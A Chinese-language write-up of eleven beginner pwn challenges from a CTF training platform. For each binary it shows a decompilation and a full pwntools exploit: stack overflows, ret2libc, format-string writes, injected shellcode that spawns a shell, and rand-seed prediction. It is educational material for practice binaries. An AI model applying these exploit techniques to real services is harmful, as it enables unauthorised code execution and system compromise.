[toc]
菜鸡做一做pwn题,这里记录一下攻防世界新手区(11题)的解题思路
0x01 int_overflow
基本信息
checksec一下
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA打开
看来要调用这个函数
看看main函数
从stdin输入v4,如果v4==1,就调用login
而login里面有read函数,可以往buf里面写东西,但是大小有限,应该不能直接覆盖到ebp,但是还有个check_passwd函数,里面有个strcpy,这个栈帧就是进行栈覆盖的地方
strcpy的声明是这样的:
1 size_t strlen (const char *str)
其中size_t在32架构中是unsigned int的别名,即在stddef.h中有这样的语句
1 typedef unsigned int size_t
unsigned int 类型是4byte,而4u用16进制表示
但是v3 是 unsigned __int8类型的,也就是只有1byte
所以说4u最后存储在v3中只有
现在可以让输入的东西,的长度为
这样最后就能成功执行到strcpy了
执行strcpy的目的当然是覆盖check_passwd这个函数的retrurn address
所以写exp
1 2 3 4 5 6 7 import pwnsh = pwn.remote("111.200.241.243" ,39755 ) payload = 'a' *(0x4 +0x14 )+pwn.p32(0x804868B ) sh.sendlineafter("choice:" ,"1" ) sh.sendlineafter("username:\n" ,"hello" ) sh.sendlineafter("passwd:\n" ,payload.ljust(0x104 ,"a" )) sh.interactive()
1 cyberpeace {1 ca23a0e98a34cb014e8f000a6849844}
0x02 get_shell 基本信息
checksec一下
运行一下,发现直接getshell了
那也太简单了
直接nc
1 cyberpeace {9 ad5e3a29bd3781e239f1182ab3f2651}
0x03 when_did_you_born 基本信息
跑一跑
有两个地方可以输入
IDA打开
main函数里面有一个system(“cat flag”)
一开始v5!=1926,而输入完v4后v5==1926就能执行
1 2 char v4; unsigned int v5;
直接写exp
1 2 3 4 5 6 import pwnsh = pwn.remote("111.200.241.244" ,48463 ) payload = pwn.flat("a" *(0x20 -0x18 ),1926 ) sh.sendlineafter("Birth?\n" ,"1" ) sh.sendlineafter("Name?\n" ,payload) sh.interactive()
得到flag
1 cyberpeace{d62e441234b4fc0601f14dba9735e2d5 }
0x04 hello_pwn 基本信息
checksec一下
跑一跑
有一个输入点
IDA打开
找到一个get_flag函数(函数名给我改了)
main函数
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { alarm(0x3C u); setbuf(stdout , 0LL ); puts ("~~ welcome to ctf ~~ " ); puts ("lets get helloworld for bof" ); read(0 , &insert, 0x10 uLL); if ( to_cover == 1853186401 ) get_flag(); return 0LL ; }
1 2 3 4 5 bss: 0000000000601068 insert db ? .bss: 0000000000601069 db ? .bss: 000000000060106 A db ? .bss: 000000000060106 B db ? .bss: 000000000060106 C to_cover dd ?
所以要做的就很简单了,就是从insert变量读入东西,把to_cover变量给覆盖了
1 2 0 x6c-0 x68 == 4 1853186401 == 0 x6e756161
写exp
1 2 3 4 5 import pwnsh = pwn.remote("111.200.241.244" ,31336 ) payload = 'a' *(0x6c -0x68 )+pwn.p64(0x6e756161 ) sh.sendlineafter("bof\n" ,payload) sh.interactive()
1 cyberpeace {e654b37727f2d7c4d9526e6e95b24ccd}
0x05 level2 基本信息
checksec一下
跑一跑
有一个输入点
IDA打开
有 “/bin/sh”
1 2 .data:0804 A024 public hint .data:0804 A024 hint db '/bin/sh' ,0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:0804844B vulnerable_function proc near ; CODE XREF: main+11↓p .text:0804844B .text:0804844B buf = byte ptr -88h .text:0804844B .text:0804844B ; __unwind { .text:0804844B push ebp .text:0804844C mov ebp, esp .text:0804844E sub esp, 88h .text:08048454 sub esp, 0Ch .text:08048457 push offset command ; "echo Input:" .text:0804845C call _system .text:08048461 add esp, 10h .text:08048464 sub esp, 4 .text:08048467 push 100h ; nbytes .text:0804846C lea eax, [ebp+buf] .text:08048472 push eax ; buf .text:08048473 push 0 ; fd .text:08048475 call _read .text:0804847A add esp, 10h .text:0804847D nop .text:0804847E leave .text:0804847F retn .text:0804847F ; } // starts at 804844B .text:0804847F vulnerable_function endp
vulnerable_function 函数里面有调用system函数
而buf可以作为栈覆盖的注入点
写exp
1 2 3 4 5 6 7 8 import pwnsh = pwn.remote("111.200.241.244" ,45256 ) pwn.context.arch = "i386" system_addr = 0x0804845C bin_sh_addr = 0x0804A024 payload = pwn.flat('a' *(0x88 +4 ),system_addr,bin_sh_addr) sh.sendlineafter("Input:\n" ,payload) sh.interactive()
1 cyberpeace{c 61306 aeef5415 b5482 cc 679 aa02 f8 c 9 }
system_addr是call指令
所以不需要deadbeef
0x06 string 基本信息
checksec一下
跑一跑
输入输出一大堆东西,3个输入点
IDA打开
insert 函数中
但是输入s的时候,并不知道canary的大小,所以没法栈覆盖
而在func_2函数中有格式化字符漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 fun_2 () { int v1; __int64 v2; char format; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = 0LL ; puts ("You travel a short distance east.That's odd, anyone disappear suddenly" ); puts (", what happend?! You just travel , and find another hole" ); puts ("You recall, a big black hole will suckk you into it! Know what should you do?" ); puts ("go into there(1), or leave(0)?:" ); _isoc99_scanf("%d" , &v1); if ( v1 == 1 ) { puts ("A voice heard in your mind" ); puts ("'Give me an address'" ); _isoc99_scanf("%ld" , &v2); puts ("And, you wish is:" ); _isoc99_scanf("%s" , &format); puts ("Your wish is" ); printf (&format, &format); puts ("I hear it, I hear it...." ); } return __readfsqword(0x28 u) ^ v4; }
func_3中有一个read函数,但是是往内存中一个随机的区域内写的
1 ((void (__fastcall *)(_QWORD, void *))v1)(0LL , v1);
而这个v1,最终将作为函数指针,运行其指向的位置的代码
在汇编中,就是这样的
也就是说,rax 所指向的代码最终被call了
所以可以往v1中写入shellcode
而要调用func_3中这个read函数,需要满足 *a1 == a1[1]
而这个a1究其源头,是main函数中的v4
且经过
1 2 3 4 v3 = malloc (8uLL ); v4 = (__int64)v3; *v3 = 68 ; v3[1 ] = 85 ;
导致 最终 *a==68
和 a[1]==85
所以此处的 格式化字符串漏洞,应该用来更改这两个变量的值,使得其二者相等,目的是最终能够调用func_3中的read实现写入shellcode并执行shellcode
先确认一下这个a变量确实可以写
确实可写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int v1; __int64 v2; char format; unsigned __int64 v4; _isoc99_scanf("%d" , &v1); if ( v1 == 1 ){ puts ("A voice heard in your mind" ); puts ("'Give me an address'" ); _isoc99_scanf("%ld" , &v2); puts ("And, you wish is:" ); _isoc99_scanf("%s" , &format); puts ("Your wish is" ); printf (&format, &format); puts ("I hear it, I hear it...." ); }
1 2 v2 = a_addrformat = "%85d%7n"
写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pwnsh = pwn.remote("111.200.241.244" ,56822 ) pwn.context.arch = "amd64" pwn.context.log_level = 'DEBUG' sh.recvuntil("secret[0] is " ) a_addr = int (sh.recvline()[0 :-1 ],16 ) sh.sendlineafter("name be:\n" ,"a" ) sh.sendlineafter("go?east or up?:\n" ,"east" ) sh.sendlineafter("leave(0)?:\n" ,"1" ) sh.sendlineafter("Give me an address'\n" ,str (a_addr)) sh.sendlineafter("you wish is:\n" ,"%85d%7$n" ) payload = pwn.asm(pwn.shellcraft.sh()) sh.sendlineafter("USE YOU SPELL\n" ,payload) sh.interactive()
1 cyberpeace {5956 b18d5bf461124821498123b2ce02}
0x07 guess_num 基本信息
checksec 一下
跑一跑
两个输入点
IDA看看
找到一个函数
看看main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int i; int v6; char v7; unsigned int seed[2 ]; unsigned __int64 v9; v9 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); v4 = 0 ; v6 = 0 ; *(_QWORD *)seed = get_random(); puts ("-------------------------------" ); puts ("Welcome to a guess number game!" ); puts ("-------------------------------" ); puts ("Please let me know your name!" ); printf ("Your name:" , 0LL ); gets(&v7); srand(seed[0 ]); for ( i = 0 ; i <= 9 ; ++i ) { v6 = rand() % 6 + 1 ; printf ("-------------Turn:%d-------------\n" , (unsigned int )(i + 1 )); printf ("Please input your guess number:" ); __isoc99_scanf("%d" , &v4); puts ("---------------------------------" ); if ( v4 != v6 ) { puts ("GG!" ); exit (1 ); } puts ("Success!" ); } sub_C3E(); return 0LL ; }
v7 可以进行栈覆盖,改变seed[0] 的值
要一口气输入10个数字,每个都和rand生成的对上
然而 rand 产生的随机数是伪随机数
所以可以用ctypes运行c代码,运行rand和srand,最后达成目标
写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import pwnimport ctypessh = pwn.remote("111.200.241.244" ,54029 ) pwn.context.arch = "amd64" pwn.context.log_level = 'DEBUG' e = pwn.ELF("/home/inhann/Repo_Proj/g" ) libc_name = e.libc.file.name libc = ctypes.cdll.LoadLibrary(libc_name) payload = pwn.flat("a" *(0x30 -0x10 ),chr (0 )*4 ) sh.sendlineafter("Your name:" ,payload) libc.srand(0 ) for i in range (10 ): r = libc.rand() a = r%6 + 1 print (a) sh.sendlineafter("guess number:" ,str (a)) sh.interactive()
1 cyberpeace {428655 cd433513bb1b786bf9a8880d88}
0x08 level3 解压文件
基本信息
还有一个 libc_32.so.6
checksec 一下
跑一跑
有一个输入点
IDA看看
果然没有system之类的
看看main函数
有个buf可以注入,栈覆盖
然后到时候ret2libc就行
直接写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import pwnimport ctypessh = pwn.remote("111.200.241.244" ,53237 ) pwn.context.arch = "i386" pwn.context.log_level = 'DEBUG' e = pwn.ELF("/home/inhann/Repo_Proj/l" ) libc = pwn.ELF("/home/inhann/Repo_Proj/libc_32.so.6" ) write_got = e.got["write" ] write_plt = e.plt["write" ] main = e.symbols["main" ] payload = pwn.flat("a" *(0x88 +4 ),write_plt,main,1 ,write_got,4 ) sh.sendlineafter("Input:\n" ,payload) write_addr = pwn.u32(sh.recv(4 )) libc_base = write_addr - libc.symbols["write" ] system_addr = libc_base + libc.symbols["system" ] a = libc.search("/bin/sh" ).next () bin_sh_str = libc_base + a payload = pwn.flat("a" *(0x88 +4 ),system_addr,0xdeadbeef ,bin_sh_str) sh.sendlineafter("Input:\n" ,payload) sh.interactive()
1 cyberpeace{c 88574 c 699 dcdee023 b13 a6 c 7 b67 eef4 }
0x09 CGfsb 基本信息
checksec一下
跑一跑
有两个输入点
IDA看看
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { int buf; int v5; __int16 v6; char s; unsigned int v8; v8 = __readgsdword(0x14 u); setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); buf = 0 ; v5 = 0 ; v6 = 0 ; memset (&s, 0 , 0x64 u); puts ("please tell me your name:" ); read(0 , &buf, 0xA u); puts ("leave your message please:" ); fgets(&s, 100 , stdin ); printf ("hello %s" , &buf); puts ("your message is:" ); printf (&s); if ( pwnme == 8 ) { puts ("you pwned me, here is your flag:\n" ); system("cat flag" ); } else { puts ("Thank you!" ); } return 0 ; }
这里有格式化字符漏洞
1 .bss:0804A068 pwnme dd ?
而 pwnme 变量位于 bss段
所以可以 利用格式化字符漏洞写bss段
1 2 3 4 5 int buf; int v5; __int16 v6; char s; unsigned int v8;
buf 的地址比 s还要低,二者之间差10字节,但是最多只能从buf读入10字节
这样就不能奢望从buf写入pwnme变量的地址了
可以试着直接从s输入
可以看到,可以通过 10$n 修改 AAAA所在代表的地址
写exp
1 2 3 4 5 6 7 8 9 import pwnsh = pwn.remote("111.200.241.244" ,50756 ) pwn.context.log_level = 'DEBUG' pwn.context.arch = "i386" e = pwn.ELF("/home/inhann/Repo_Proj/g" ) sh.sendlineafter("your name:\n" ,"a" ) payload = pwn.p32(0x0804A068 )+"aaaa%10$n" sh.sendlineafter("message please:\n" ,payload) sh.interactive()
1 cyberpeace {422391 f5c18099a7d040acfe547207d3}
0x0a level0 基本信息
checksec一下
跑一跑
就一个输入点
IDA看看
看到一个callsystem函数
看看地址
看看main
很简单的栈溢出,ret2text
直接写 exp
1 2 3 4 5 6 import pwnsh = pwn.remote("111.200.241.244" ,45244 ) pwn.context.log_level = 'DEBUG' payload = 'a' *(0x80 +8 )+pwn.p64(0x000000000040059A ) sh.sendlineafter("World\n" ,payload) sh.interactive()
1 cyberpeace {04 ce4697044ee8bd59c04d3b263b4976}
0x0b cgpwn2 基本信息
checksec 一下
跑一跑
两个输入点
IDA看看
找到一个pwn函数
1 2 3 4 5 6 7 8 9 10 11 .text: 0804854D public pwn.text: 0804854D pwn proc near .text: 0804854D .text: 0804854D push ebp .text: 0804854E mov ebp , esp .text: 08048550 sub esp , 18h .text: 08048553 mov dword ptr [esp ], offset command .text: 0804855A call _system.text: 0804855F nop .text: 08048560 leave .text: 08048561 retn
看看main
hello函数里面有一个 gets,可以 用来栈覆盖,而name变量在bss里面
1 .bss:0804A080 name db 34h dup(?)
所以就往name里面写 “/bin/sh”,然后利用system函数
直接写exp
1 2 3 4 5 6 7 8 import pwnsh = pwn.remote("111.200.241.244" ,46015 ) pwn.context.log_level = 'DEBUG' pwn.context.arch = "i386" sh.sendlineafter("me your name\n" ,"/bin/sh" ) payload = pwn.flat('a' *(0x26 +4 ),0x0804855A ,0x0804A080 ) sh.sendlineafter("message here:\n" ,payload) sh.interactive()
1 cyberpeace {44 faf4bef78fb17bde79f74db3138b8d}